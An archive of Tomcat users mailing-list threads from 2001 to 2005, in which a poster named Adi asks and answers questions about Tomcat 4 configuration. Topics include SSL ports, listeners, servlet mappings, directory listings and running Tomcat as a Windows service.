Tomcat Book

2005-07-12 Thread Adi Gati
Hi,

 

Can anyone recommend on a good Tomcat Book?

 

Thanks.



Decompressing a gzip compressed request body

2005-07-10 Thread Adi Gati
Hi all,

 

I am using Tomcat4.
Does anyone know how to enable decompression of a GZIP request body?

 

I fail to open a GZIPInputStream on the request.getInputStream().

Is there a Filter I can use?

How can I use it?

 

Thanks,

  Adi.

 



Context restarting automatically!!! please help

2003-08-21 Thread Adi Katz

Hi,

I have few context-param element in my web.xml file
which my web app can change dynamically. the problem is that when I
change the value of any context-param the webapp is reloading
automatically
It looks like tomcat detects a change in the web.xml file and reload the
context if a change occured. Is it possible to disable this beaviour ?
I want my changes to take effect only in the next time tomcat starts up.

Thanks for your responses,

Adi


-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]



LifecycleListener Do not work

2003-07-23 Thread Adi Katz
Hello,

I implemented org.apache.catalina.LifecycleListener and registered it in server.xml in 
the following way:

Context path=/myapp ...
  ...
  Listener className=mypackage.MyListener/
  ...
/Context

Naturally mypackage.MyListener is in my webapp but it seems that when server.xml is 
being parsed on tomcat startup my listener class is not accessible from catalina side. 
and i get a classNotFound Exception.

I feel there is something very messy with the class loading going on in tomcat side.

Does anybody have an idea/examople how to implement a 
org.apache.catalina.LifecycleListener and to use it in server.xml ?

Thanks,
Adi





-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]



RE: LifecycleListener Do not work

2003-07-23 Thread Adi Katz
Hi Yoav,

Eventually I used a servlet spec listener which is better to do from a lot of reasons.
Regarding your suggestion on putting the listener in common/lib, It is the firest 
thing I try
but then I have the opposite problem: my listener cannot call classes from my web-app.
...It seems there is an unbreakble wall between a web-app and tomcat and you can be 
either 
 in this side or the other.

Thanks,
Adi 

-Original Message-
From: Shapira, Yoav [mailto:[EMAIL PROTECTED]
Sent: Wednesday, July 23, 2003 2:02 PM
To: Tomcat Users List
Subject: RE: LifecycleListener Do not work



Howdy,
You're on the right track: tomcat needs the class on startup. Put your
listener (and any classes it needs) in $CATALINA_HOME/common/lib instead
of your webapp's WEB-INF/lib.

As always, I ask: can you justify using a Catalina-specific
LifecycleListener and not a spec-standard ServletContextListener?

Yoav Shapira
Millennium ChemInformatics


-Original Message-
From: Adi Katz [mailto:[EMAIL PROTECTED]
Sent: Wednesday, July 23, 2003 4:21 AM
To: [EMAIL PROTECTED]
Subject: LifecycleListener Do not work

Hello,

I implemented org.apache.catalina.LifecycleListener and registered it
in
server.xml in the following way:

Context path=/myapp ...
  ...
  Listener className=mypackage.MyListener/
  ...
/Context

Naturally mypackage.MyListener is in my webapp but it seems that when
server.xml is being parsed on tomcat startup my listener class is not
accessible from catalina side. and i get a classNotFound Exception.

I feel there is something very messy with the class loading going on in
tomcat side.

Does anybody have an idea/examople how to implement a
org.apache.catalina.LifecycleListener and to use it in server.xml ?

Thanks,
Adi





-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]




This e-mail, including any attachments, is a confidential business communication, and 
may contain information that is confidential, proprietary and/or privileged.  This 
e-mail is intended only for the individual(s) to whom it is addressed, and may not be 
saved, copied, printed, disclosed or used by anyone else.  If you are not the(an) 
intended recipient, please immediately delete this e-mail from your computer system 
and notify the sender.  Thank you.


-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]


-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]



RE: Activate SSL in Tomcat 4.1.24

2003-06-05 Thread Adi Katz
First shot with this kind of error: 
check the port number that you are using 443 or 8443
IE wil default https to 443 but if in server.xml 8443 is defined then you
should
try something like this: https://localhost:8443/

Hope it will help
Adi

-Original Message-
From: Abid Ali Teepo [mailto:[EMAIL PROTECTED]
Sent: 05 June 2003 12:17
To: Tomcat Users List
Subject: Activate SSL in Tomcat 4.1.24


Hello

I have a problem activating SSL in tomcat 4.1.24 on win2k.

The problem is that despite following all the instructions and
using the keytool to import the certificate into the keystore,
and uncommenting as well as updating the fields in the xml with
filename and password. Nothing seem to happen.

I get a regular internet explorer error that says 
 The page cannot be displayed 

Is there any way i can actually debug this to se what happens ?
The keytool import worked just fine on weblogic 

regards,
Abid

-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]


-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

RE: Activate SSL in Tomcat 4.1.24

2003-06-05 Thread Adi Katz
when tomcat starts you should be able to see among the massages which port
is used. send me your server.xml file and web.xml file and I will have a
look

-Original Message-
From: Abid Ali Teepo [mailto:[EMAIL PROTECTED]
Sent: 05 June 2003 13:34
To: Tomcat Users List
Subject: RE: Activate SSL in Tomcat 4.1.24



Thanks for answering.
This is the URL i use when i get the error The page cannot be displayed
Do you have any suggestions as to how i can debug this ? I mean are
there any settings in the tomcat that i can use to see what happens ?

Regards
Abid


-Original Message-
From: Adi Katz [mailto:[EMAIL PROTECTED]
Sent: 5. juni 2003 14:15
To: 'Tomcat Users List'
Subject: RE: Activate SSL in Tomcat 4.1.24


First shot with this kind of error: 
check the port number that you are using 443 or 8443
IE wil default https to 443 but if in server.xml 8443 is defined then you
should
try something like this: https://localhost:8443/

Hope it will help
Adi

-Original Message-
From: Abid Ali Teepo [mailto:[EMAIL PROTECTED]
Sent: 05 June 2003 12:17
To: Tomcat Users List
Subject: Activate SSL in Tomcat 4.1.24


Hello

I have a problem activating SSL in tomcat 4.1.24 on win2k.

The problem is that despite following all the instructions and
using the keytool to import the certificate into the keystore,
and uncommenting as well as updating the fields in the xml with
filename and password. Nothing seem to happen.

I get a regular internet explorer error that says 
 The page cannot be displayed 

Is there any way i can actually debug this to se what happens ?
The keytool import worked just fine on weblogic 

regards,
Abid

-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]




-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]


-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

RE: Activate SSL in Tomcat 4.1.24

2003-06-05 Thread Adi Katz
check the files in the logs directory.
you might find some helpful inf there

-Original Message-
From: Abid Ali Teepo [mailto:[EMAIL PROTECTED]
Sent: 05 June 2003 13:34
To: Tomcat Users List
Subject: RE: Activate SSL in Tomcat 4.1.24



Thanks for answering.
This is the URL i use when i get the error The page cannot be displayed
Do you have any suggestions as to how i can debug this ? I mean are
there any settings in the tomcat that i can use to see what happens ?

Regards
Abid


-Original Message-
From: Adi Katz [mailto:[EMAIL PROTECTED]
Sent: 5. juni 2003 14:15
To: 'Tomcat Users List'
Subject: RE: Activate SSL in Tomcat 4.1.24


First shot with this kind of error: 
check the port number that you are using 443 or 8443
IE wil default https to 443 but if in server.xml 8443 is defined then you
should
try something like this: https://localhost:8443/

Hope it will help
Adi

-Original Message-
From: Abid Ali Teepo [mailto:[EMAIL PROTECTED]
Sent: 05 June 2003 12:17
To: Tomcat Users List
Subject: Activate SSL in Tomcat 4.1.24


Hello

I have a problem activating SSL in tomcat 4.1.24 on win2k.

The problem is that despite following all the instructions and
using the keytool to import the certificate into the keystore,
and uncommenting as well as updating the fields in the xml with
filename and password. Nothing seem to happen.

I get a regular internet explorer error that says 
 The page cannot be displayed 

Is there any way i can actually debug this to se what happens ?
The keytool import worked just fine on weblogic 

regards,
Abid

-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]




-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]


-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]

changing tomcat configuration on the fly

2003-06-05 Thread Adi Katz
Hello,

I am interested in changing the server.xml and web.xml files through
servlets and then reload them.
So for example I can add JNDI entries in server.xml without the nedd to
stop/start tomcat again.
Something very similar is done in the admin app ( shipped with tomcat ).
Does anybody have a code example or some tips on how to do it ??

Thanks,
Adi


-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]



RE: changing tomcat configuration on the fly

2003-06-05 Thread Adi Katz
Hello Tim,

I have only one app and users should be able to register a database with the
app.
so:
1) I dont know in advance what kind of data base it will be
2) data supplied by the end user regarding the database / url etc. should be
written to the right files ( server.xml ).
3) In order for tomcat to update according to the changes made... the all
thing need to restart and I cant relay on somebodey going to the server and
stop-start tomcat.

Would like to hear any ideas /examples.

Adi

-Original Message-
From: Tim Shaw [mailto:[EMAIL PROTECTED]
Sent: 04 June 2003 18:48
To: Tomcat Users List
Subject: Re: changing tomcat configuration on the fly


I wonder whether you actually want this approach at all.

Depending on why you want to modify JNDI entries, and whether this is
for the entire server or just a specific web-app ...

If I need to change my JNDI entries (generally values and additions
during development), I modify the context.xml file for the app (in the
META-INF directory) and redeploy the app. This seems to automagically
modify the server.xml file for me, and I can keep the changes in my web
app CVS.

Perhaps your needs are more complex ...

G'luck

tim

Tim Funk wrote:
 There is no way to change web.xml on the fly. Except by -
 - putting a new web.xml in its place
 - stop the app
 - start the app

 As for changes to server.xml. This can be done via JMX. See the code to
 the admin app on how make changes.

 -Tim

 Adi Katz wrote:

 Hello,

 I am interested in changing the server.xml and web.xml files through
 servlets and then reload them.
 So for example I can add JNDI entries in server.xml without the nedd to
 stop/start tomcat again.
 Something very similar is done in the admin app ( shipped with tomcat ).
 Does anybody have a code example or some tips on how to do it ??

 Thanks,
 Adi




 -
 To unsubscribe, e-mail: [EMAIL PROTECTED]
 For additional commands, e-mail: [EMAIL PROTECTED]




-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]



-
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]



RE: Starting TOMCAT without opening new DOS promt

2002-09-26 Thread Katz, Adi

try this:

In startup.bat replace the last line: 
call %EXECUTABLE% start %CMD_LINE_ARGS%
with:
call %EXECUTABLE% run %CMD_LINE_ARGS%


Adi

-Original Message-
From: RAJESH KANNAN [mailto:[EMAIL PROTECTED]]
Sent: 25 September 2002 15:32
To: [EMAIL PROTECTED]
Subject: Starting TOMCAT without opening new DOS promt


Hi all,

We would like to start the TOMCAT server without opening a new DOS prompt. 
How should we do this?

Thanks in anticipation.

With Regards
K.RajeshKannan



_
MSN Photos is the easiest way to share and print your photos: 
http://photos.msn.com/support/worldwide.aspx


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




how to shut down tomcat in NT Service

2002-09-23 Thread Katz, Adi

Hello

I am using jk_nt_service.exe to run tomcat 4.0 as a service on a windows machine.

My question is what i need to set in order for tomcat to shut down in a clean manner 
when i stop the service
in the control panel.

looking at the logfiles at the moment shows that tomcat is killed abruptly when i stop 
the service

Thanks,
Adi



how to shut down tomcat in NT Service

2002-09-23 Thread Katz, Adi

Hello

 I am using jk_nt_service.exe to run tomcat 4.0 as a service on a windows machine.
 
 My question is what i need to set in order for tomcat to shut down in a clean manner 
when i stop the service
 in the control panel.
 
 looking at the logfiles at the moment suggest that tomcat is killed abruptly when i 
stop the service
 
 Thanks,
 Adi



Running tomcat 4.0 as NT Srvice

2002-09-23 Thread Katz, Adi

Hello,

Tomcat 4.0 distributaion contains a file: tomcat.exe that is used for running tomcat 
as a service.
There isnt seems to be any documentation regarding this or how to install the service.
If you install tomcat using the exe installer it will be done automaticly but I need 
to do it
by myself.
Does anybody know something about how to use tomcat.exe ( it is in the bin directory ) 
in order for tomcat to run as a service?

Thanks,
Adi





URL patterns + directory listings

2002-09-20 Thread adi

Hello,

I encountered a very strange problem with servlet mappings.



I have the following entry in my web.xml file :

servlet
servlet-nameMyDefaultServlet/servlet-name

servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class
init-param
  param-namedebug/param-name
  param-value0/param-value
/init-param
init-param
  param-namelistings/param-name
  param-valuetrue/param-value
/init-param
  /servlet

 servlet-mapping
servlet-nameMyDefaultServlet/servlet-name
url-pattern/admin/*/url-pattern
  /servlet-mapping


All I am doing here is passing all requests to the 'admin' directory
and its children to the default servlet with listings=true.
A simple trick to allow listings on specific directories.
The problem is that when I point the browser to:
http://localhost/MyContext/admin/

I get the listings for http://localhost/MyContext/


Now, If I point the browser to http://localhost/MyContext/admin/admin/

... I get the listings for the right directory.

Any idea whats going on ?

And more than that:
If I change the pattern from /admin/* to /admin/
Everything works fine but than mapping will not kick off for sub-directories
of 'admin'

Will much appreciate any help.

Adi

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




default servlet mapping

2002-09-20 Thread adi

Hello,

Is it possible to map the default servlet to a pattern other than / ?

or is it hard-coded in org.apache.catalina.servlets.DefaultServlet ?

Thanks,
Adi
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




Entry point to application

2002-09-20 Thread adi

Hello,

When tomcat is starting-up I want to initialize my application.
In order to do this I need access to some of the parameters like
the context docbase etc.
Is there any method in tomcat API that I can use in order to get a reference
to the defoult servlet or other already loaded class from which I can get
the info I need?

Thanks,
adi
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




RE: URL patterns + directory listings

2002-09-20 Thread adi

Thanks,
I will try to explain what I am trying to do.

My project directory structure is something like this:

MyContext/admin
MyContext/admin/config
MyContext/userdata
MyContext/userdata/user1
MyContext/userdata/user2


... I want to enable listing on admin and its subs
and disable listing on MyContext/
 MyContext/userdata

I set the listings property on default servlet to false ( in
tomcat/conf/web.xml )

and now i want all patterns with admin in it to show listings.
What I tried to do is to create another default servlet, this time with
listings=true and to map it to all patterns with admin/*
I added this mapping in MyContext/WEB-INF/web.xml.
...but then I face this strange behaviour I described in the first mail
on this thread.

Even if this is not a good way to allow listings on certain directories
I realy want to understand why I get the listing for
http://localhost/MyContext/
when I point my browser to http://localhost/MyContext/admin/

Thanks again
Adi






-Original Message-
From: Milt Epstein [mailto:[EMAIL PROTECTED]]
Sent: Friday, September 20, 2002 2:53 PM
To: Tomcat Users List
Subject: Re: URL patterns + directory listings


On Fri, 20 Sep 2002, adi wrote:

 Hello,

 I encountered a very strange problem with servlet mappings.


 I have the following entry in my web.xml file :

 servlet
 servlet-nameMyDefaultServlet/servlet-name

 servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class
 init-param
   param-namedebug/param-name
   param-value0/param-value
 /init-param
 init-param
   param-namelistings/param-name
   param-valuetrue/param-value
 /init-param
   /servlet

  servlet-mapping
 servlet-nameMyDefaultServlet/servlet-name
 url-pattern/admin/*/url-pattern
   /servlet-mapping


 All I am doing here is passing all requests to the 'admin' directory
 and its children to the default servlet with listings=true.  A

Well, that's not really what you're doing.  The admin in your
url-pattern is a virtual directory in the URL space that bears no
connection to any real directory, and if there's also a real directory
named admin, that's just a coincidence (an unfortunate confusing one
perhaps).

 simple trick to allow listings on specific directories.  The problem
 is that when I point the browser to:
 http://localhost/MyContext/admin/

 I get the listings for http://localhost/MyContext/

That sounds like the right behavior to me.


 Now, If I point the browser to http://localhost/MyContext/admin/admin/

 ... I get the listings for the right directory.

Well, you're not clearly indicating what's the right directory, but
I'm guessing you have a subdirectory admin under your MyContext.
Again, this behavior sounds right to me for what you have set up above.


 Any idea whats going on ?

It's working as you have it set up?  And that doesn't match what you
want because you don't fully understand this stuff?  (Don't worry,
most don't :-).

Why don't you say more clearly what you want to do, and perhaps
someone can comment on that.


 And more than that:
 If I change the pattern from /admin/* to /admin/
 Everything works fine but than mapping will not kick off for
 sub-directories of 'admin'

That's because URLs you're using to reach the sub-directories of admin
no longer match the url-pattern (without the '*').  Again, this sounds
like the right behavior to me.

Milt Epstein
Research Programmer
Integration and Software Engineering (ISE)
Campus Information Technologies and Educational Services (CITES)
University of Illinois at Urbana-Champaign (UIUC)
[EMAIL PROTECTED]


--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




RE: can javascript execute a servlet?

2002-09-20 Thread adi

Hello,

javascript can execute aservlet.
You need to call the servlet url and get the data back into
a javscript object.
This is an example how i did it with IE:

script language=javascript
dnld=document.getElementById('linesintable');
dnld.startDownload(servlet_url,getdata);
function getdata(data){
status=data.split(\n)
}
/script

and in the html you have something like this:

div id=linesintable
style=visibility:hidden;behavior:url'#default#download')
 servleturl=http://Servlets/My.Servlet;/div


hope it helps.

the only bad thing about it is that you will need 2 different codes
for netscape and IE

Adi


-Original Message-
From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
Sent: Friday, September 20, 2002 5:39 PM
To: [EMAIL PROTECTED]
Subject: can javascript execute a servlet?


i don't want the user's screen to REFRESH each time they click a servlet
inside an A tag. Can Javascript execute a servlet?

thanks!
Rich




--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




RE: How to block listings on a SPECIFIC directory

2002-09-20 Thread adi

Thanks for that one.
Just one more question:
I assume there is some kind of overhead doing this
all the requests will be streamed through the filter etc.
It a serious problem?

Adi

-Original Message-
From: Tim Funk [mailto:[EMAIL PROTECTED]]
Sent: Thursday, September 19, 2002 2:10 PM
To: Tomcat Users List
Subject: Re: How to block listings on a SPECIFIC directory


More info:
http://www.google.com/search?hl=enlr=ie=UTF-8oe=UTF-8q=servlet+filter

The definitive reference:
Java Servlet Specification 2.3 (at java.sun.com)
Chapter 6: Filters


adi wrote:
 what do you mean by writing a filter?
 In java?
 Entry in web.xml ?

 can you please reference me to some reading on 'filters' ?

 Thanks,
 Adi


 -Original Message-
 From: Tim Funk [mailto:[EMAIL PROTECTED]]
 Sent: Thursday, September 19, 2002 1:53 PM
 To: Tomcat Users List
 Subject: Re: How to block listings on a SPECIFIC directory


 Nope  - but you can write a filter to detect that condition and deny
 access as desired.

 adi wrote:

Hello,

I am trying to enable listing on one directory ( and its children)
only.
the listings parameter set to false or true will affect everything.
is it possible in any way to define listings to individual directories

 in

my webapp?

Adi





 --
 To unsubscribe, e-mail:
 mailto:[EMAIL PROTECTED]
 For additional commands, e-mail:
 mailto:[EMAIL PROTECTED]


 ---
 Incoming mail is certified Virus Free.
 Checked by AVG anti-virus system (http://www.grisoft.com).
 Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002

 ---
 Outgoing mail is certified Virus Free.
 Checked by AVG anti-virus system (http://www.grisoft.com).
 Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


 --
 To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
 For additional commands, e-mail:
mailto:[EMAIL PROTECTED]





--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




Problem with url patterns II

2002-09-20 Thread adi

Hello,

I encountered a very strange problem with servlet mappings.



I have the following entry in my web.xml file :

servlet
servlet-nameMyDefaultServlet/servlet-name

servlet-classorg.apache.catalina.servlets.DefaultServlet/servlet-class
init-param
  param-namedebug/param-name
  param-value0/param-value
/init-param
init-param
  param-namelistings/param-name
  param-valuetrue/param-value
/init-param
  /servlet

 servlet-mapping
servlet-nameMyDefaultServlet/servlet-name
url-pattern/admin/*/url-pattern
  /servlet-mapping


All I am doing here is passing all requests to the 'admin' directory
and its children to the default servlet with listings=true.
A simple trick to allow listings on specific directories.
The problem is that when I point the browser to:
http://localhost/MyContext/admin/

I get the listings for http://localhost/MyContext/


Now, If I point the browser to http://localhost/MyContext/admin/admin/

... I get the listings for the right directory.

Any idea whats going on ?

And more than that:
If I change the pattern from /admin/* to /admin/
Everything works fine but than mapping will not kick off for sub-directories
of 'admin'

Will much appreciate any help.

Adi








---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




How to block listings on a SPECIFIC directory

2002-09-19 Thread adi

Hello,

I am trying to enable listing on one directory ( and its children)
only.
the listings parameter set to false or true will affect everything.
is it possible in any way to define listings to individual directories in
my webapp?

Adi


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




url patterns

2002-09-19 Thread adi

Hello,

Does anybody know the valid url patterns for servlet mappings?

is there a pattern for all subdirectories of a certain directory?

something like: 
 servlet-mapping
servlet-namedefault1/servlet-name
url-pattern/admin/**//url-pattern
  /servlet-mapping

Thanks,
Adi
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




RE: How to block listings on a SPECIFIC directory

2002-09-19 Thread adi

what do you mean by writing a filter?
In java?
Entry in web.xml ?

can you please reference me to some reading on 'filters' ?

Thanks,
Adi


-Original Message-
From: Tim Funk [mailto:[EMAIL PROTECTED]]
Sent: Thursday, September 19, 2002 1:53 PM
To: Tomcat Users List
Subject: Re: How to block listings on a SPECIFIC directory


Nope  - but you can write a filter to detect that condition and deny
access as desired.

adi wrote:
 Hello,

 I am trying to enable listing on one directory ( and its children)
 only.
 the listings parameter set to false or true will affect everything.
 is it possible in any way to define listings to individual directories
in
 my webapp?

 Adi




--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




RE: How to block listings on a SPECIFIC directory

2002-09-19 Thread adi

new directories are being created dynamically and they should be browsable.
all the rest shouldnt be
thats why I can not put index.htm file in every directory
Any suggestions?

Adi

-Original Message-
From: Sexton, George [mailto:[EMAIL PROTECTED]]
Sent: Thursday, September 19, 2002 2:21 PM
To: Tomcat Users List
Subject: RE: How to block listings on a SPECIFIC directory


Hmmm... Why don't you put a file like index.html in the directory?
Assuming you have a welcome files list in your web.xml file, this will be
displayed. You can then put up a message, and re-direct to where you want
them to be.

George Sexton
MH Software, Inc.
Home of Connect Daily Web Calendar Software
http://www.mhsoftware.com/connectdaily.htm
Voice: 303 438 9585


-Original Message-
From: adi [mailto:[EMAIL PROTECTED]]
Sent: 19 September, 2002 6:49 AM
To: [EMAIL PROTECTED]
Subject: How to block listings on a SPECIFIC directory


Hello,

I am trying to enable listing on one directory ( and its children)
only.
the listings parameter set to false or true will affect everything.
is it possible in any way to define listings to individual directories in
my webapp?

Adi


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




RE: How to block listings on a SPECIFIC directory

2002-09-19 Thread adi

these directories contain text files that should be avalable for users while
browsing the directory

-Original Message-
From: Sexton, George [mailto:[EMAIL PROTECTED]]
Sent: Thursday, September 19, 2002 2:31 PM
To: Tomcat Users List
Subject: RE: How to block listings on a SPECIFIC directory


Do you put static content in these directories?

-Original Message-
From: adi [mailto:[EMAIL PROTECTED]]
Sent: 19 September, 2002 7:26 AM
To: Tomcat Users List
Subject: RE: How to block listings on a SPECIFIC directory


new directories are being created dynamically and they should be browsable.
all the rest shouldnt be
thats why I can not put index.htm file in every directory
Any suggestions?

Adi

-Original Message-
From: Sexton, George [mailto:[EMAIL PROTECTED]]
Sent: Thursday, September 19, 2002 2:21 PM
To: Tomcat Users List
Subject: RE: How to block listings on a SPECIFIC directory


Hmmm... Why don't you put a file like index.html in the directory?
Assuming you have a welcome files list in your web.xml file, this will be
displayed. You can then put up a message, and re-direct to where you want
them to be.

George Sexton
MH Software, Inc.
Home of Connect Daily Web Calendar Software
http://www.mhsoftware.com/connectdaily.htm
Voice: 303 438 9585


-Original Message-
From: adi [mailto:[EMAIL PROTECTED]]
Sent: 19 September, 2002 6:49 AM
To: [EMAIL PROTECTED]
Subject: How to block listings on a SPECIFIC directory


Hello,

I am trying to enable listing on one directory ( and its children)
only.
the listings parameter set to false or true will affect everything.
is it possible in any way to define listings to individual directories in
my webapp?

Adi


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


--
To unsubscribe, e-mail:
mailto:[EMAIL PROTECTED]
For additional commands, e-mail:
mailto:[EMAIL PROTECTED]


---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.372 / Virus Database: 207 - Release Date: 6/20/2002


--
To unsubscribe, e-mail:   mailto:[EMAIL PROTECTED]
For additional commands, e-mail: mailto:[EMAIL PROTECTED]




RE: Tomcat 3.3, Apache 1.3.22, and Windows NT

2001-12-13 Thread Adi Naren

Thanks, folks,

I got them working today morning!!

ApacheModuleJServ.dll was not there in either %APACHE_HOME%\modules or 
%TOMCAT_HOME%\modules folder.

another reason is:
I gave the wrong path of tomcat.conf file


One guy was telling me that Tomcat does not work on WINDOWS!! Isn't that 
ridiculous?? LOL!!

Rider for newbies:
If apache and tomcat can start on your machines independently:

1) If tomcat does not start after starting tomcat, please check for the 
presence of the module mentioned above.

2) Please disable appropriate comments in tomcat.conf for loading the above 
module. (Comment the Unix part and uncomment the Windows part)

